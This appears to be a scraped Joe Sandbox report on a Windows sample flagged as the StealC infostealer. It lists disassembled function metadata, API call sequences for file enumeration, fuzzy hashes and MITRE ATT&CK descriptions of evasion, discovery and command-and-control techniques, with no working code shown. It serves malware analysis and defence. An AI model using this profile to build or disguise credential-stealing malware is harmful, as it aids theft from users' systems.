Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: a14c5ccbbf77041d7aeb5617ec9d67b3c9b55fbca32e7f18ee379ee270fc9076
Instruction ID: 0fdebe0e43635d5d2503d0587a961c631e65f6cb5795419088d0bb46351dd7e5
Opcode Fuzzy Hash: a14c5ccbbf77041d7aeb5617ec9d67b3c9b55fbca32e7f18ee379ee270fc9076
Instruction Fuzzy Hash: 2E1115B2904118ABCB149FC9DD45BBEB7F8FB48B11F10421AF605E2280E2795944DBB2

Function 003CC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 003CC74E

Part of subcall function 003CBF9F: __amsg_exit.LIBCMT ref: 003CBFAF

__getptd.LIBCMT ref: 003CC765
__amsg_exit.LIBCMT ref: 003CC773
__updatetlocinfoEx_nolock.LIBCMT ref: 003CC797

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: bcdb634c7a3eb1376faa62abdadd804548b8f7411635f8e6a8172f7f199555e7
Instruction ID: c51286c3d6e5bdf1fc6bbae6aad283d273d37148f361f4034b19d5e0ac6673c2
Opcode Fuzzy Hash: bcdb634c7a3eb1376faa62abdadd804548b8f7411635f8e6a8172f7f199555e7
Instruction Fuzzy Hash: 64F090329156149FDB23BBB86C07F5DB3A0AF00724F25514DF408EE2D2CB645D409F56

Function 003C4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 003C8E0B

lstrcat.KERNEL32(?,00000000), ref: 003C4F7A
lstrcat.KERNEL32(?,003D1070), ref: 003C4F97
lstrcat.KERNEL32(?,01089058), ref: 003C4FAB
lstrcat.KERNEL32(?,003D1074), ref: 003C4FBD

Part of subcall function 003C4910: wsprintfA.USER32 ref: 003C492C
Part of subcall function 003C4910: FindFirstFileA.KERNEL32(?,?), ref: 003C4943

Part of subcall function 003C4910: StrCmpCA.SHLWAPI(?,003D0FDC), ref: 003C4971
Part of subcall function 003C4910: StrCmpCA.SHLWAPI(?,003D0FE0), ref: 003C4987
Part of subcall function 003C4910: FindNextFileA.KERNEL32(000000FF,?), ref: 003C4B7D
Part of subcall function 003C4910: FindClose.KERNEL32(000000FF), ref: 003C4B92

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 4c589258798313bbadc309ab50ab58bbb038f745a9670b65916ca3a5e9792fa6
Instruction ID: 080dcad8e4f3baff790ae4c296ea466eb29b49efab4b3f8174de317bdc6c4008
Opcode Fuzzy Hash: 4c589258798313bbadc309ab50ab58bbb038f745a9670b65916ca3a5e9792fa6
Instruction Fuzzy Hash: AD21A7B690020867C755F760EC46FE9333CAB54700F004549B64DDA181EE759ACDDBA3

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 003C9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 003B45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 003B4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 003C9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 003B6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 003C5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 003C17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 003C7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 003C69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 003C6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 003B47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 003C51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 003B1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON